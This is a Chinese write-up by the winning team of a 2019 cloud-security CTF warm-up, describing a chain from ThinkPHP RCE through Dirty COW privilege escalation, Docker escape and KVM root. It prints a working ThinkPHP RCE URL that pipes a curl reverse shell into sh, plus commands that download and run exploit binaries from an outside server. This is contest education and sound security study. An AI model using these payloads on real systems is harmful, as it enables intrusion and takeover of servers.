[原創]乾貨 | 雲安全挑戰賽線上熱身賽冠軍戰隊解題分享

雲鼎實驗室發表於2019-06-12


本文作者:紫荊花


[原創]乾貨 | 雲安全挑戰賽線上熱身賽冠軍戰隊解題分享


GeekPwn 與騰訊安全聯合發起的“雲安全挑戰賽”線上熱身賽已經落下帷幕。


經過 48 小時的比拼,Redbud025 戰隊以最快時間提交了最多正確答案,榮獲第一名。本期,我們也邀請到這支來自清華大學網路與資訊保安實驗室的 Redbud025 戰隊,為大家還原解題過程。


這次是首個基於真實雲平臺的雲安全挑戰賽,整個題目是提權和逃逸的不斷嘗試,總共有七個題目。


比賽環境覆蓋 APP, Docker, KVM 和 Pysical 各個層次,七個題目如下:


[原創]乾貨 | 雲安全挑戰賽線上熱身賽冠軍戰隊解題分享


題目要求:

除測試題外,選手置身於一個模擬的雲環境中,選手的任務就是從這個僅有的 Web 介面,層層滲透,獲得更高的許可權,用於讀取指定的 flag 檔案。


1、Web 網頁測試題目


首先 Web 入口的題目的地址是→


http://user0022:dcc16fc2@121.12.172.119:30022/public/index.php


開啟後有個 base64 字串,解碼即可得到 flag。


2、APP 題目


題目資訊

小明選了學校的 Web 開發課程,學習了世界上最好的語言,女朋友想送他一本書作為生日禮物,她覺得《Thinking In PHP》不錯,可惜有點貴。選手的任務是幫小明女朋友找到存放在 /tmp/flag.lev2.txt 中的優惠碼。


可以知道題目地址是個 thinkphp 框架;直接 google 查詢 thinkphp 漏洞,發現

https://learnku.com/articles/21227 的漏洞可以成功利用,利用方式如下:


http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 需要執行的命令


通過這個漏洞反彈 shell,EXP 如下:


http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl+https%3A%2F%2Fshell.now.sh%2F154.223.145.173%3A1337+%7C+sh


執行 cat /tmp/flag.lev2.txt 得到 flag:flag{PHP_is_The_best_language_^^5578}


3、Docker 提權題目


題目資訊

小明又選了一門《作業系統設計與原理》的課程,但是小明有個問題一直很疑惑,他區分不出特權使用者和普通使用者,選手能幫小明演示一下特權使用者嗎,例如幫小明讀取一下存在 /root/flag.lev3.txt 中的課後作業答案。


直接使用上面一步反彈 shell 是無法讀取 /root/flag.lev3.txt,因為許可權不夠。通過 whoami 可以看到是 centos 使用者,這個環節是需要提權。在伺服器 /tmp 目錄下下載 linux-exploit-suggester.sh,通過執行得到如下資訊:


sh ./linux-exploit-suggester.sh …….[+] [CVE-2017-16995] eBPF_verifier[+] [CVE-2016-5195] dirtycow[+] [CVE-2016-5195] dirtycow 2


伺服器存在髒牛漏洞,使用 

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 POC。


下載 cowroot.c,在自己的伺服器編譯:


gcc cowroot.c -o cowroot -pthread


然後在 反彈shell 中下載:


curl -O http://154.223.145.173:8080/cowroot


執行得到 root 的 shell,從而可以順利讀取 /root/flag.lev3.txt 檔案得到 flag:flag{root_in_the_docker^^1256}


4、Docker 逃逸題目


題目資訊

小明同學在獲得了 root 許可權之後,他認為自己獲得了至高無上的許可權,非常開心的在 Linux 的世界中暢遊,直到他發現 /root/message 檔案中寫著這個世界的祕密。意識到自己只是在容器中游玩,小明非常想讓選手幫他看一下外面的風景,例如幫小明讀取一下存在容器外部 /tmp/flag.lev4.txt 中的祕密。


讀取 /root.message,其實沒什麼用就是告訴你:你在 Docker 裡面,外面是 KVM 虛擬環境,需要選手逃逸 Docker。


沒想到這題也是可以繼續用髒牛 POC,https://github.com/scumjr/dirtycow-vdso,即利用 dirtycow 核心漏洞修改 vdso,對核心宿主機程式進行 hook,造成 docker 逃逸。


在自己的伺服器編譯好,然後在目標機器執行:


curl http:// 你的伺服器 IP/0xdeadbeef -o 0xdeadbeefchmod +x 0xdeadbeef./0xdeadbeef 你的伺服器 IP: 埠


逃逸之後讀取 /tmp/flag.lev4.txt 得到 flag:flag{jump_outsize_of_your_own^^3356}


5、KVM 提權題目


題目資訊

小明同學已經被選手高超的技術所折服了,決定好好學習,勵志從事資訊保安行業,但是這時候交期末大作業的時候到了,小明嘗試了多次還是做不出來。小明非常想讓選手幫他讀取一下 /root/flag.lev5.txt 中的大作業答案。


這題本意是想考察提權,但是題目 4 的 Docker 逃逸出來的使用者有 root 許可權,直接可以檢視 /root/flag.lev5.txt 得到 flag:flag{root_is_very_powerfull^^4987}


題目 6 和題目 7 好像沒有隊伍做出來,題目 7 應該是個 0day 了。


參考連結

(連結可通過複製在瀏覽器中開啟)


https://github.com/mtalbi/vm_escape

https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html

https://github.com/perfectblue/ctf-writeups/blob/master/RealWorldCTF-2018/kidvm.md

https://opensource.com/article/18/5/how-find-ip-address-linux

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679


來自 GeekPwn 雲安全挑戰賽聯合主辦方雲鼎實驗室的溫馨提醒:


錯過線上熱身賽的童鞋不用難過,採用開放模擬雲端計算環境的第二階段開放賽將在7月陸續公佈開放環境資訊,供參賽隊伍研究。


這場再度開啟的雲端對決,主辦方將選出5-8支超強戰隊登上GeekPwn1024的舞臺,與國內頂級雲安全專家當面切磋交流。


期待你的加入。


相關文章